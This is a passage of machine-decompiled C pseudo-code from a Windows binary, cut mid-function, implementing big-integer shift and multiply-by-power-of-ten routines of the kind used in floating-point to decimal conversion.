												_t1274 =  &(_t1274[4]);
											} else {
												__eflags = _t796;
												if(_t796 != 0) {
													goto L126;
												} else {
													_t1109 = 0x72;
													__eflags = _t1061 - _t1109;
													if(_t1061 < _t1109) {
														_t1109 = _t1061;
													}
													__eflags = _t1109 - 0xffffffff;
													if(_t1109 != 0xffffffff) {
														_t1258 = _t1109;
														_t1216 =  &_v468 + _t1109 * 4;
														_v1880 = _t1216;
														while(1) {
															__eflags = _t1258 - _t1061;
															if(_t1258 >= _t1061) {
																_t208 =  &_v1876;
																 *_t208 = _v1876 & 0x00000000;
																__eflags =  *_t208;
															} else {
																_v1876 =  *_t1216;
															}
															_t210 = _t1258 - 1; // 0x70
															__eflags = _t210 - _t1061;
															if(_t210 >= _t1061) {
																_t1168 = 0;
																__eflags = 0;
															} else {
																_t1168 =  *(_t1216 - 4);
															}
															_t1216 = _t1216 - 4;
															_t972 = _v1880;
															_t1258 = _t1258 - 1;
															 *_t972 = _t1168 >> 0x0000001f ^ _v1876 + _v1876;
															_v1880 = _t972 - 4;
															__eflags = _t1258 - 0xffffffff;
															if(_t1258 == 0xffffffff) {
																break;
															}
															_t1061 = _v472;
														}
														_t1240 = _v1872;
													}
													__eflags = _v1865;
													if(_v1865 == 0) {
														_v472 = _t1109;
													} else {
														_t218 = _t1109 + 1; // 0x73
														_v472 = _t218;
													}
												}
											}
											_t1192 = 1 - _t1240;
											E00874BD0(_t1192,  &_v1396, 0, 1);
											__eflags = 1;
											 *(_t1271 + 0xbad63d) = 1 << (_t1192 & 0x0000001f);
											_t805 = 0xbadbae;
										} else {
											_v1396 = _v1396 & 0x00000000;
											_t1110 = 2;
											_v1392 = 0x100000;
											_v1400 = _t1110;
											__eflags = _t1061 - _t1110;
											if(_t1061 == _t1110) {
												_t1172 = 0;
												__eflags = 0;
												while(1) {
													_t974 =  *((intOrPtr*)(_t1271 + _t1172 - 0x570));
													__eflags = _t974 -  *((intOrPtr*)(_t1271 + _t1172 - 0x1d0));
													if(_t974 !=  *((intOrPtr*)(_t1271 + _t1172 - 0x1d0))) {
														goto L101;
													}
													_t1172 = _t1172 + 4;
													__eflags = _t1172 - 8;
													if(_t1172 != 8) {
														continue;
													} else {
														_t166 =  &_v1896;
														 *_t166 = _v1896 & 0x00000000;
														__eflags =  *_t166;
														asm("bsr eax, edi");
														if( *_t166 == 0) {
															_t1173 = 0;
															__eflags = 0;
														} else {
															_t1173 = _t974 + 1;
														}
														_t975 = 0x20;
														_t1259 = _t1110;
														__eflags = _t975 - _t1173 - _t1110;
														_t977 =  &_v460;
														_v1880 = _t977;
														_t1217 = _t977;
														_t171 =  &_v1865;
														 *_t171 = _t975 - _t1173 - _t1110 > 0;
														__eflags =  *_t171;
														while(1) {
															__eflags = _t1259 - _t1061;
															if(_t1259 >= _t1061) {
																_t173 =  &_v1876;
																 *_t173 = _v1876 & 0x00000000;
																__eflags =  *_t173;
															} else {
																_v1876 =  *_t1217;
															}
															_t175 = _t1259 - 1; // 0x0
															__eflags = _t175 - _t1061;
															if(_t175 >= _t1061) {
																_t1174 = 0;
																__eflags = 0;
															} else {
																_t1174 =  *(_t1217 - 4);
															}
															_t1217 = _t1217 - 4;
															_t981 = _v1880;
															_t1259 = _t1259 - 1;
															 *_t981 = _t1174 >> 0x0000001e ^ _v1876 << 0x00000002;
															_v1880 = _t981 - 4;
															__eflags = _t1259 - 0xffffffff;
															if(_t1259 == 0xffffffff) {
																break;
															}
															_t1061 = _v472;
														}
														__eflags = _v1865;
														_t1111 = _t1110 - _v1872;
														_v472 = (0 | _v1865 != 0x00000000) + _t1110;
														_t1219 = _t1111 >> 5;
														_v1884 = _t1111;
														_t1261 = _t1219 << 2;
														E00874BD0(_t1219,  &_v1396, 0, _t1261);
														 *(_t1271 + _t1261 - 0x570) = 1 << (_v1884 & 0x0000001f);
														_t805 = _t1219 + 1;
													}
													goto L128;
												}
											}
											goto L101;
										}
										L128:
										_v1400 = _t805;
										_t1064 = 0x1cc;
										_v936 = _t805;
										__eflags = _t805 << 2;
										E00880761( &_v932, 0x1cc,  &_v1396, _t805 << 2);
										_t1277 =  &(_t1274[7]);
									} else {
										_v1396 = _v1396 & 0x00000000;
										_t1262 = 2;
										_v1392 = 0x100000;
										_v1400 = _t1262;
										__eflags = _t1061 - _t1262;
										if(_t1061 != _t1262) {
											L53:
											_t992 = _v1872 + 1;
											_t993 = _t992 & 0x0000001f;
											_t1114 = 0x20;
											_v1876 = _t993;
											_t1221 = _t992 >> 5;
											_v1872 = _t1221;
											_v1908 = _t1114 - _t993;
											_t996 = E00886D50(1, _t1114 - _t993, 0);
											_t1116 =  *((intOrPtr*)(_t1271 + _t1061 * 4 - 0x1d4));
											_t997 = _t996 - 1;
											_t108 =  &_v1896;
											 *_t108 = _v1896 & 0x00000000;
											__eflags =  *_t108;
											asm("bsr ecx, ecx");
											_v1884 = _t997;
											_v1912 =  !_t997;
											if( *_t108 == 0) {
												_t1117 = 0;
												__eflags = 0;
											} else {
												_t1117 = _t1116 + 1;
											}
											_t999 = 0x20;
											_t1000 = _t999 - _t1117;
											_t1179 = _t1061 + _t1221;
											__eflags = _v1876 - _t1000;
											_v1892 = _t1179;
											_t1001 = _t1000 & 0xffffff00 | _v1876 - _t1000 > 0x00000000;
											__eflags = _t1179 - 0x73;
											_v1865 = _t1001;
											_t1118 = _t1117 & 0xffffff00 | _t1179 - 0x00000073 > 0x00000000;
											__eflags = _t1179 - 0x73;
											if(_t1179 != 0x73) {
												L59:
												_t1002 = 0;
												__eflags = 0;
											} else {
												__eflags = _t1001;
												if(_t1001 == 0) {
													goto L59;
												} else {
													_t1002 = 1;
												}
											}
											__eflags = _t1118;
											if(_t1118 != 0) {
												L81:
												__eflags = 0;
												_t1064 = 0x1cc;
												_v1400 = 0;
												_v472 = 0;
												E00880761( &_v468, 0x1cc,  &_v1396, 0);
												_t1274 =  &(_t1274[4]);
											} else {
												__eflags = _t1002;
												if(_t1002 != 0) {
													goto L81;
												} else {
													_t1119 = 0x72;
													__eflags = _t1179 - _t1119;
													if(_t1179 >= _t1119) {
														_t1179 = _t1119;
														_v1892 = _t1119;
													}
													_t1012 = _t1179;
													_v1880 = _t1012;
													__eflags = _t1179 - 0xffffffff;
													if(_t1179 != 0xffffffff) {
														_t1180 = _v1872;
														_t1264 = _t1179 - _t1180;
														__eflags = _t1264;
														_t1123 =  &_v468 + _t1264 * 4;
														_v1888 = _t1123;
														while(1) {
															__eflags = _t1012 - _t1180;
															if(_t1012 < _t1180) {
																break;
															}
															__eflags = _t1264 - _t1061;
															if(_t1264 >= _t1061) {
																_t1224 = 0;
																__eflags = 0;
															} else {
																_t1224 =  *_t1123;
															}
															__eflags = _t1264 - 1 - _t1061;
															if(_t1264 - 1 >= _t1061) {
																_t1017 = 0;
																__eflags = 0;
															} else {
																_t1017 =  *(_t1123 - 4);
															}
															_t1020 = _v1880;
															_t1123 = _v1888 - 4;
															_v1888 = _t1123;
															 *(_t1271 + _t1020 * 4 - 0x1d0) = (_t1224 & _v1884) << _v1876 | (_t1017 & _v1912) >> _v1908;
															_t1012 = _t1020 - 1;
															_t1264 = _t1264 - 1;
															_v1880 = _t1012;
															__eflags = _t1012 - 0xffffffff;
															if(_t1012 != 0xffffffff) {
																_t1061 = _v472;
																continue;
															}
															break;
														}
														_t1179 = _v1892;
														_t1221 = _v1872;
														_t1262 = 2;
													}
													__eflags = _t1221;
													if(_t1221 != 0) {
														__eflags = 0;
														memset( &_v468, 0, _t1221 << 2);
														_t1274 =  &(_t1274[3]);
													}
													__eflags = _v1865;
													_t1064 = 0x1cc;
													if(_v1865 == 0) {
														_v472 = _t1179;
													} else {
														_v472 = _t1179 + 1;
													}
												}
											}
											_v1392 = _v1392 & 0x00000000;
											_v1396 = _t1262;
											_v1400 = 1;
											_v936 = 1;
											_push(4);
										} else {
											_t1127 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *((intOrPtr*)(_t1271 + _t1127 - 0x570)) -  *((intOrPtr*)(_t1271 + _t1127 - 0x1d0));
												if( *((intOrPtr*)(_t1271 + _t1127 - 0x570)) !=  *((intOrPtr*)(_t1271 + _t1127 - 0x1d0))) {
													goto L53;
												}
												_t1127 = _t1127 + 4;
												__eflags = _t1127 - 8;
												if(_t1127 != 8) {
													continue;
												} else {
													_t1023 = _v1872 + 2;
													_t1024 = _t1023 & 0x0000001f;
													_t1128 = 0x20;
													_t1129 = _t1128 - _t1024;
													_v1888 = _t1024;
													_t1266 = _t1023 >> 5;
													_v1876 = _t1266;
													_v1908 = _t1129;
													_t1027 = E00886D50(1, _t1129, 0);
													_v1896 = _v1896 & 0x00000000;
													_t1028 = _t1027 - 1;
													__eflags = _t1028;
													asm("bsr ecx, edi");
													_v1884 = _t1028;
													_v1912 =  !_t1028;
													if(_t1028 == 0) {
														_t1130 = 0;
														__eflags = 0;
													} else {
														_t1130 = _t1129 + 1;
													}
													_t1030 = 0x20;
													_t1031 = _t1030 - _t1130;
													_t1182 = _t1266 + 2;
													__eflags = _v1888 - _t1031;
													_v1880 = _t1182;
													_t1032 = _t1031 & 0xffffff00 | _v1888 - _t1031 > 0x00000000;
													__eflags = _t1182 - 0x73;
													_v1865 = _t1032;
													_t1131 = _t1130 & 0xffffff00 | _t1182 - 0x00000073 > 0x00000000;
													__eflags = _t1182 - 0x73;
													if(_t1182 != 0x73) {
														L28:
														_t1033 = 0;
														__eflags = 0;
													} else {
														__eflags = _t1032;
														if(_t1032 == 0) {
															goto L28;
														} else {
															_t1033 = 1;
														}
													}
													__eflags = _t1131;
													if(_t1131 != 0) {
														L50:
														__eflags = 0;
														_t1064 = 0x1cc;
														_v1400 = 0;
														_v472 = 0;
														E00880761( &_v468, 0x1cc,  &_v1396, 0);
														_t1274 =  &(_t1274[4]);
													} else {
														__eflags = _t1033;
														if(_t1033 != 0) {
															goto L50;
														} else {
															_t1134 = 0x72;
															__eflags = _t1182 - _t1134;
															if(_t1182 >= _t1134) {
																_t1182 = _t1134;
																_v1880 = _t1134;
															}
															_t1135 = _t1182;
															_v1892 = _t1135;
															__eflags = _t1182 - 0xffffffff;
															if(_t1182 != 0xffffffff) {
																_t1183 = _v1876;
																_t1268 = _t1182 - _t1183;
																__eflags = _t1268;
																_t1043 =  &_v468 + _t1268 * 4;
																_v1872 = _t1043;
																while(1) {
																	__eflags = _t1135 - _t1183;
																	if(_t1135 < _t1183) {
																		break;
																	}
																	__eflags = _t1268 - _t1061;
																	if(_t1268 >= _t1061) {
																		_t1230 = 0;
																		__eflags = 0;
																	} else {
																		_t1230 =  *_t1043;
																	}
																	__eflags = _t1268 - 1 - _t1061;
																	if(_t1268 - 1 >= _t1061) {
																		_t1045 = 0;
																		__eflags = 0;
																	} else {
																		_t1045 =  *(_v1872 - 4);
																	}
																	_t1140 = _v1892;
																	 *(_t1271 + _t1140 * 4 - 0x1d0) = (_t1045 & _v1912) >> _v1908 | (_t1230 & _v1884) << _v1888;
																	_t1135 = _t1140 - 1;
																	_t1268 = _t1268 - 1;
																	_t1043 = _v1872 - 4;
																	_v1892 = _t1135;
																	_v1872 = _t1043;
																	__eflags = _t1135 - 0xffffffff;
																	if(_t1135 != 0xffffffff) {
																		_t1061 = _v472;
																		continue;
																	}
																	break;
																}
																_t1182 = _v1880;
																_t1266 = _v1876;
															}
															__eflags = _t1266;
															if(_t1266 != 0) {
																__eflags = 0;
																memset( &_v468, 0, _t1266 << 2);
																_t1274 =  &(_t1274[3]);
															}
															__eflags = _v1865;
															_t1064 = 0x1cc;
															if(_v1865 == 0) {
																_v472 = _t1182;
															} else {
																_v472 = _t1182 + 1;
															}
														}
													}
													_v1392 = _v1392 & 0x00000000;
													_t1038 = 4;
													__eflags = 1;
													_v1396 = _t1038;
													_v1400 = 1;
													_v936 = 1;
													_push(_t1038);
												}
												goto L52;
											}
											goto L53;
										}
										L52:
										_push( &_v1396);
										_push(_t1064);
										_push( &_v932);
										E00880761();
										_t1277 =  &(_t1274[4]);
									}
									_t810 = _v1904;
									_t1084 = 0xa;
									_v1912 = _t1084;
									__eflags = _t810;
									if(_t810 < 0) {
										_t811 =  ~_t810;
										_t812 = _t811 / _t1084;
										_v1880 = _t812;
										_t1085 = _t811 % _t1084;
										_v1884 = _t1085;
										__eflags = _t812;
										if(_t812 == 0) {
											L249:
											__eflags = _t1085;
											if(_t1085 != 0) {
												_t849 =  *(0x88d09c + _t1085 * 4);
												_v1896 = _t849;
												__eflags = _t849;
												if(_t849 == 0) {
													L260:
													__eflags = 0;
													_push(0);
													_v472 = 0;
													_v2408 = 0;
													goto L261;
												} else {
													__eflags = _t849 - 1;
													if(_t849 != 1) {
														_t1096 = _v472;
														__eflags = _t1096;
														if(_t1096 != 0) {
															_t1199 = 0;
															_t1248 = 0;
															__eflags = 0;
															do {
																_t1153 = _t849 *  *(_t1271 + _t1248 * 4 - 0x1d0) >> 0x20;
																 *(_t1271 + _t1248 * 4 - 0x1d0) = _t849 *  *(_t1271 + _t1248 * 4 - 0x1d0) + _t1199;
																_t849 = _v1896;
																asm("adc edx, 0x0");
																_t1248 = _t1248 + 1;
																_t1199 = _t1153;
																__eflags = _t1248 - _t1096;
															} while (_t1248 != _t1096);
															__eflags = _t1199;
															if(_t1199 != 0) {
																_t856 = _v472;
																__eflags = _t856 - 0x73;
																if(_t856 >= 0x73) {
																	goto L260;
																} else {
																	 *(_t1271 + _t856 * 4 - 0x1d0) = _t1199;
																	_v472 = _v472 + 1;
																}
															}
														}
													}
												}
											}
										} else {
											do {
												__eflags = _t812 - 0x26;
												if(_t812 > 0x26) {
													_t812 = 0x26;
												}
												_t1097 =  *(0x88d006 + _t812 * 4) & 0x000000ff;
												_v1872 = _t812;
												_v1400 = ( *(0x88d006 + _t812 * 4) & 0x000000ff) + ( *(0x88d007 + _t812 * 4) & 0x000000ff);
												E00874BD0(_t1097 << 2,  &_v1396, 0, _t1097 << 2);
												_t867 = E00875220( &(( &_v1396)[_t1097]), 0x88c700 + ( *(0x88d004 + _v1872 * 4) & 0x0000ffff) * 4, ( *(0x88d007 + _t812 * 4) & 0x000000ff) << 2);
												_t1098 = _v1400;
												_t1277 =  &(_t1277[6]);
												_v1892 = _t1098;
												__eflags = _t1098 - 1;
												if(_t1098 > 1) {
													__eflags = _v472 - 1;
													if(_v472 > 1) {
														__eflags = _t1098 - _v472;
														_t1202 =  &_v1396;
														_t868 = _t867 & 0xffffff00 | _t1098 - _v472 > 0x00000000;
														__eflags = _t868;
														if(_t868 != 0) {
															_t1154 =  &_v468;
														} else {
															_t1202 =  &_v468;
															_t1154 =  &_v1396;
														}
														_v1908 = _t1154;
														__eflags = _t868;
														if(_t868 == 0) {
															_t1098 = _v472;
														}
														_v1876 = _t1098;
														__eflags = _t868;
														if(_t868 != 0) {
															_v1892 = _v472;
														}
														_t1155 = 0;
														_t1250 = 0;
														_v1864 = 0;
														__eflags = _t1098;
														if(_t1098 == 0) {
															L243:
															_v472 = _t1155;
															_t870 = _t1155 << 2;
															__eflags = _t870;
															_push(_t870);
															_t871 =  &_v1860;
															goto L244;
														} else {
															_t1203 = _t1202 -  &_v1860;
															__eflags = _t1203;
															_v1928 = _t1203;
															do {
																_t878 =  *(_t1271 + _t1203 + _t1250 * 4 - 0x740);
																_v1896 = _t878;
																__eflags = _t878;
																if(_t878 != 0) {
																	_t879 = 0;
																	_t1204 = 0;
																	_t1099 = _t1250;
																	_v1888 = 0;
																	__eflags = _v1892;
																	if(_v1892 == 0) {
																		L240:
																		__eflags = _t1099 - 0x73;
																		if(_t1099 == 0x73) {
																			goto L258;
																		} else {
																			_t1203 = _v1928;
																			_t1098 = _v1876;
																			goto L242;
																		}
																	} else {
																		while(1) {
																			__eflags = _t1099 - 0x73;
																			if(_t1099 == 0x73) {
																				goto L235;
																			}
																			__eflags = _t1099 - _t1155;
																			if(_t1099 == _t1155) {
																				 *(_t1271 + _t1099 * 4 - 0x740) =  *(_t1271 + _t1099 * 4 - 0x740) & 0x00000000;
																				_t891 = _t879 + 1 + _t1250;
																				__eflags = _t891;
																				_v1864 = _t891;
																				_t879 = _v1888;
																			}
																			_t886 =  *(_v1908 + _t879 * 4);
																			asm("adc edx, 0x0");
																			 *(_t1271 + _t1099 * 4 - 0x740) =  *(_t1271 + _t1099 * 4 - 0x740) + _t886 * _v1896 + _t1204;
																			asm("adc edx, 0x0");
																			_t879 = _v1888 + 1;
																			_t1099 = _t1099 + 1;
																			_v1888 = _t879;
																			_t1204 = _t886 * _v1896 >> 0x20;
																			_t1155 = _v1864;
																			__eflags = _t879 - _v1892;
																			if(_t879 != _v1892) {
																				continue;
																			} else {
																				goto L235;
																			}
																			while(1) {
																				L235:
																				__eflags = _t1204;
																				if(_t1204 == 0) {
																					goto L240;
																				}
																				__eflags = _t1099 - 0x73;
																				if(_t1099 == 0x73) {
																					goto L258;
																				} else {
																					__eflags = _t1099 - _t1155;
																					if(_t1099 == _t1155) {
																						_t558 = _t1271 + _t1099 * 4 - 0x740;
																						 *_t558 =  *(_t1271 + _t1099 * 4 - 0x740) & 0x00000000;
																						__eflags =  *_t558;
																						_t564 = _t1099 + 1; // 0x1
																						_v1864 = _t564;
																					}
																					_t884 = _t1204;
																					_t1204 = 0;
																					 *(_t1271 + _t1099 * 4 - 0x740) =  *(_t1271 + _t1099 * 4 - 0x740) + _t884;
																					_t1155 = _v1864;
																					asm("adc edi, edi");
																					_t1099 = _t1099 + 1;
																					continue;
																				}
																				goto L246;
																			}
																			goto L240;
																		}
																		goto L235;
																	}
																} else {
																	__eflags = _t1250 - _t1155;
																	if(_t1250 == _t1155) {
																		 *(_t1271 + _t1250 * 4 - 0x740) =  *(_t1271 + _t1250 * 4 - 0x740) & _t878;
																		_t526 = _t1250 + 1; // 0x1
																		_t1155 = _t526;
																		_v1864 = _t1155;
																	}
																	goto L242;
																}
																goto L246;
																L242:
																_t1250 = _t1250 + 1;
																__eflags = _t1250 - _t1098;
															} while (_t1250 != _t1098);
															goto L243;
														}
													} else {
														_t1205 = _v468;
														_v472 = _t1098;
														E00880761( &_v468, _t1064,  &_v1396, _t1098 << 2);
														_t1277 =  &(_t1277[4]);
														__eflags = _t1205;
														if(_t1205 == 0) {
															goto L203;
														} else {
															__eflags = _t1205 - 1;
															if(_t1205 == 1) {
																goto L245;
															} else {
																__eflags = _v472;
																if(_v472 == 0) {
																	goto L245;
																} else {
																	_t1100 = 0;
																	_v1896 = _v472;
																	_t1251 = 0;
																	__eflags = 0;
																	do {
																		_t900 = _t1205;
																		_t1156 = _t900 *  *(_t1271 + _t1251 * 4 - 0x1d0) >> 0x20;
																		 *(_t1271 + _t1251 * 4 - 0x1d0) = _t900 *  *(_t1271 + _t1251 * 4 - 0x1d0) + _t1100;
																		asm("adc edx, 0x0");
																		_t1251 = _t1251 + 1;
																		_t1100 = _t1156;
																		__eflags = _t1251 - _v1896;
																	} while (_t1251 != _v1896);
																	goto L208;
																}
															}
														}
													}
												} else {
													_t1206 = _v1396;
													__eflags = _t1206;
													if(_t1206 != 0) {
														__eflags = _t1206 - 1;
														if(_t1206 == 1) {
															goto L245;
														} else {
															__eflags = _v472;
															if(_v472 == 0) {
																goto L245;
															} else {
																_t1101 = 0;
																_v1896 = _v472;
																_t1252 = 0;
																__eflags = 0;
																do {
																	_t905 = _t1206;
																	_t1157 = _t905 *  *(_t1271 + _t1252 * 4 - 0x1d0) >> 0x20;
																	 *(_t1271 + _t1252 * 4 - 0x1d0) = _t905 *  *(_t1271 + _t1252 * 4 - 0x1d0) + _t1101;
																	asm("adc edx, 0x0");
																	_t1252 = _t1252 + 1;
																	_t1101 = _t1157;
																	__eflags = _t1252 - _v1896;
																} while (_t1252 != _v1896);
																L208:
																__eflags = _t1100;
																if(_t1100 == 0) {
																	goto L245;
																} else {
																	_t903 = _v472;
																	__eflags = _t903 - 0x73;
																	if(_t903 >= 0x73) {
																		L258:
																		_v2408 = 0;
																		_v472 = 0;
																		E00880761( &_v468, _t1064,  &_v2404, 0);
																		_t1277 =  &(_t1277[4]);
																		_t874 = 0;
																	} else {
																		 *(_t1271 + _t903 * 4 - 0x1d0) = _t1100;
																		_v472 = _v472 + 1;
																		goto L245;
																	}
																}
															}
														}
													} else {
														L203:
														_v2408 = 0;
														_v472 = 0;
														_push(0);
														_t871 =  &_v2404;
														L244:
														_push(_t871);
														_push(_t1064);
														_push( &_v468);
														E00880761();
														_t1277 =  &(_t1277[4]);
														L245:
														_t874 = 1;
													}
												}
												L246:
												__eflags = _t874;
												if(_t874 == 0) {
													_v2408 = _v2408 & 0x00000000;
													_v472 = _v472 & 0x00000000;
													_push(0);
													L261:
													_push( &_v2404);
													_t852 =  &_v468;
													goto L262;
												} else {
													goto L247;
												}
												goto L263;
												L247:
												_t812 = _v1880 - _v1872;
												__eflags = _t812;
												_v1880 = _t812;
											} while (_t812 != 0);
											_t1085 = _v1884;
											goto L249;
										}
									} else {
										_t908 = _t810 / _t1084;
										_v1908 = _t908;
										_t1102 = _t810 % _t1084;
										_v1896 = _t1102;
										__eflags = _t908;
										if(_t908 == 0) {
											L184:
											__eflags = _t1102;
											if(_t1102 != 0) {
												_t1207 =  *(0x88d09c + _t1102 * 4);
												__eflags = _t1207;
												if(_t1207 != 0) {
													__eflags = _t1207 - 1;
													if(_t1207 != 1) {
														_t909 = _v936;
														_v1896 = _t909;
														__eflags = _t909;
														if(_t909 != 0) {
															_t1253 = 0;
															_t1103 = 0;
															__eflags = 0;
															do {
																_t910 = _t1207;
																_t1161 = _t910 *  *(_t1271 + _t1103 * 4 - 0x3a0) >> 0x20;
																 *(_t1271 + _t1103 * 4 - 0x3a0) = _t910 *  *(_t1271 + _t1103 * 4 - 0x3a0) + _t1253;
																asm("adc edx, 0x0");
																_t1103 = _t1103 + 1;
																_t1253 = _t1161;
																__eflags = _t1103 - _v1896;
															} while (_t1103 != _v1896);
															__eflags = _t1253;
															if(_t1253 != 0) {
																_t913 = _v936;
																__eflags = _t913 - 0x73;
																if(_t913 >= 0x73) {
																	goto L186;
																} else {
																	 *(_t1271 + _t913 * 4 - 0x3a0) = _t1253;
																	_v936 = _v936 + 1;
																}
															}
														}
													}
												} else {
													L186:
													_v2408 = 0;
													_v936 = 0;
													_push(0);
													goto L190;
												}
											}
										} else {
											do {
												__eflags = _t908 - 0x26;
												if(_t908 > 0x26) {
													_t908 = 0x26;
												}
												_t1104 =  *(0x88d006 + _t908 * 4) & 0x000000ff;
												_v1888 = _t908;
												_v1400 = ( *(0x88d006 + _t908 * 4) & 0x000000ff) + ( *(0x88d007 + _t908 * 4) & 0x000000ff);
												E00874BD0(_t1104 << 2,  &_v1396, 0, _t1104 << 2);
												_t926 = E00875220( &(( &_v1396)[_t1104]), 0x88c700 + ( *(0x88d004 + _v1888 * 4) & 0x0000ffff) * 4, ( *(0x88d007 + _t908 * 4) & 0x000000ff) << 2);
												_t1105 = _v1400;
												_t1277 =  &(_t1277[6]);
												_v1892 = _t1105;
												__eflags = _t1105 - 1;
												if(_t1105 > 1) {
													__eflags = _v936 - 1;
													if(_v936 > 1) {
														__eflags = _t1105 - _v936;
														_t1210 =  &_v1396;
														_t927 = _t926 & 0xffffff00 | _t1105 - _v936 > 0x00000000;
														__eflags = _t927;
														if(_t927 != 0) {
															_t1162 =  &_v932;
														} else {
															_t1210 =  &_v932;
															_t1162 =  &_v1396;
														}
														_v1876 = _t1162;
														__eflags = _t927;
														if(_t927 == 0) {
															_t1105 = _v936;
														}
														_v1880 = _t1105;
														__eflags = _t927;
														if(_t927 != 0) {
															_v1892 = _v936;
														}
														_t1163 = 0;
														_t1255 = 0;
														_v1864 = 0;
														__eflags = _t1105;
														if(_t1105 == 0) {
															L177:
															_v936 = _t1163;
															_t929 = _t1163 << 2;
															__eflags = _t929;
															goto L178;
														} else {
															_t1211 = _t1210 -  &_v1860;
															__eflags = _t1211;
															_v1928 = _t1211;
															do {
																_t937 =  *(_t1271 + _t1211 + _t1255 * 4 - 0x740);
																_v1884 = _t937;
																__eflags = _t937;
																if(_t937 != 0) {
																	_t938 = 0;
																	_t1212 = 0;
																	_t1106 = _t1255;
																	_v1872 = 0;
																	__eflags = _v1892;
																	if(_v1892 == 0) {
																		L174:
																		__eflags = _t1106 - 0x73;
																		if(_t1106 == 0x73) {
																			goto L187;
																		} else {
																			_t1211 = _v1928;
																			_t1105 = _v1880;
																			goto L176;
																		}
																	} else {
																		while(1) {
																			__eflags = _t1106 - 0x73;
																			if(_t1106 == 0x73) {
																				goto L169;
																			}
																			__eflags = _t1106 - _t1163;
																			if(_t1106 == _t1163) {
																				 *(_t1271 + _t1106 * 4 - 0x740) =  *(_t1271 + _t1106 * 4 - 0x740) & 0x00000000;
																				_t950 = _t938 + 1 + _t1255;
																				__eflags = _t950;
																				_v1864 = _t950;
																				_t938 = _v1872;
																			}
																			_t945 =  *(_v1876 + _t938 * 4);
																			asm("adc edx, 0x0");
																			 *(_t1271 + _t1106 * 4 - 0x740) =  *(_t1271 + _t1106 * 4 - 0x740) + _t945 * _v1884 + _t1212;
																			asm("adc edx, 0x0");
																			_t938 = _v1872 + 1;
																			_t1106 = _t1106 + 1;
																			_v1872 = _t938;
																			_t1212 = _t945 * _v1884 >> 0x20;
																			_t1163 = _v1864;
																			__eflags = _t938 - _v1892;
																			if(_t938 != _v1892) {
																				continue;
																			} else {
																				goto L169;
																			}
																			while(1) {
																				L169:
																				__eflags = _t1212;
																				if(_t1212 == 0) {
																					goto L174;
																				}
																				__eflags = _t1106 - 0x73;
																				if(_t1106 == 0x73) {
																					L187:
																					__eflags = 0;
																					_v2408 = 0;
																					_v936 = 0;
																					_push(0);
																					_t940 =  &_v2404;
																					goto L188;
																				} else {
																					__eflags = _t1106 - _t1163;
																					if(_t1106 == _t1163) {
																						_t370 = _t1271 + _t1106 * 4 - 0x740;
																						 *_t370 =  *(_t1271 + _t1106 * 4 - 0x740) & 0x00000000;
																						__eflags =  *_t370;
																						_t376 = _t1106 + 1; // 0x1
																						_v1864 = _t376;
																					}
																					_t943 = _t1212;
																					_t1212 = 0;
																					 *(_t1271 + _t1106 * 4 - 0x740) =  *(_t1271 + _t1106 * 4 - 0x740) + _t943;
																					_t1163 = _v1864;
																					asm("adc edi, edi");
																					_t1106 = _t1106 + 1;
																					continue;
																				}
																				goto L181;
																			}
																			goto L174;
																		}
																		goto L169;
																	}
																} else {
																	__eflags = _t1255 - _t1163;
																	if(_t1255 == _t1163) {
																		 *(_t1271 + _t1255 * 4 - 0x740) =  *(_t1271 + _t1255 * 4 - 0x740) & _t937;
																		_t338 = _t1255 + 1; // 0x1
																		_t1163 = _t338;
																		_v1864 = _t1163;
																	}
																	goto L176;
																}
																goto L181;
																L176:
																_t1255 = _t1255 + 1;
																__eflags = _t1255 - _t1105;
															} while (_t1255 != _t1105);
															goto L177;
														}
													} else {
														_t1213 = _v932;
														_v936 = _t1105;
														E00880761( &_v932, _t1064,  &_v1396, _t1105 << 2);
														_t1277 =  &(_t1277[4]);
														__eflags = _t1213;
														if(_t1213 != 0) {
															__eflags = _t1213 - 1;
															if(_t1213 == 1) {
																goto L180;
															} else {
																__eflags = _v936;
																if(_v936 == 0) {
																	goto L180;
																} else {
																	_t1107 = 0;
																	_v1884 = _v936;
																	_t1256 = 0;
																	__eflags = 0;
																	do {
																		_t958 = _t1213;
																		_t1164 = _t958 *  *(_t1271 + _t1256 * 4 - 0x3a0) >> 0x20;
																		 *(_t1271 + _t1256 * 4 - 0x3a0) = _t958 *  *(_t1271 + _t1256 * 4 - 0x3a0) + _t1107;
																		asm("adc edx, 0x0");
																		_t1256 = _t1256 + 1;
																		_t1107 = _t1164;
																		__eflags = _t1256 - _v1884;
																	} while (_t1256 != _v1884);
																	goto L149;
																}
															}
														} else {
															_v1400 = 0;
															_v936 = 0;
															_push(0);
															_t930 =  &_v1396;
															goto L179;
														}
													}
												} else {
													_t1214 = _v1396;
													__eflags = _t1214;
													if(_t1214 != 0) {
														__eflags = _t1214 - 1;
														if(_t1214 == 1) {
															goto L180;
														} else {
															__eflags = _v936;
															if(_v936 == 0) {
																goto L180;
															} else {
																_t1108 = 0;
																_v1884 = _v936;
																_t1257 = 0;
																__eflags = 0;
																do {
																	_t965 = _t1214;
																	_t1165 = _t965 *  *(_t1271 + _t1257 * 4 - 0x3a0) >> 0x20;
																	 *(_t1271 + _t1257 * 4 - 0x3a0) = _t965 *  *(_t1271 + _t1257 * 4 - 0x3a0) + _t1108;
																	asm("adc edx, 0x0");
																	_t1257 = _t1257 + 1;
																	_t1108 = _t1165;
																	__eflags = _t1257 - _v1884;
																} while (_t1257 != _v1884);
																L149:
																__eflags = _t1107;
																if(_t1107 == 0) {
																	goto L180;
																} else {
																	_t961 = _v936;
																	__eflags = _t961 - 0x73;
																	if(_t961 < 0x73) {
																		 *(_t1271 + _t961 * 4 - 0x3a0) = _t1107;
																		_v936 = _v936 + 1;
																		goto L180;
																	} else {
																		_v1400 = 0;
																		_v936 = 0;
																		_push(0);
																		_t940 =  &_v1396;
																		L188:
																		_push(_t940);
																		_push(_t1064);
																		_push( &_v932);
																		E00880761();
																		_t1277 =  &(_t1277[4]);
																		_t933 = 0;
																	}
																}
															}
														}
													} else {
														_t929 = 0;
														_v1864 = 0;
														_v936 = 0;
														L178:
														_push(_t929);
														_t930 =  &_v1860;
														L179:
														_push(_t930);
														_push(_t1064);
														_push( &_v932);
														E00880761();
														_t1277 =  &(_t1277[4]);
														L180:
														_t933 = 1;
													}
												}
												L181:
												__eflags = _t933;
												if(_t933 == 0) {
													_v2408 = _v2408 & 0x00000000;
													_t404 =  &_v936;
													 *_t404 = _v936 & 0x00000000;
													__eflags =  *_t404;
													_push(0);
													L190:
													_push( &_v2404);
													_t852 =  &_v932;
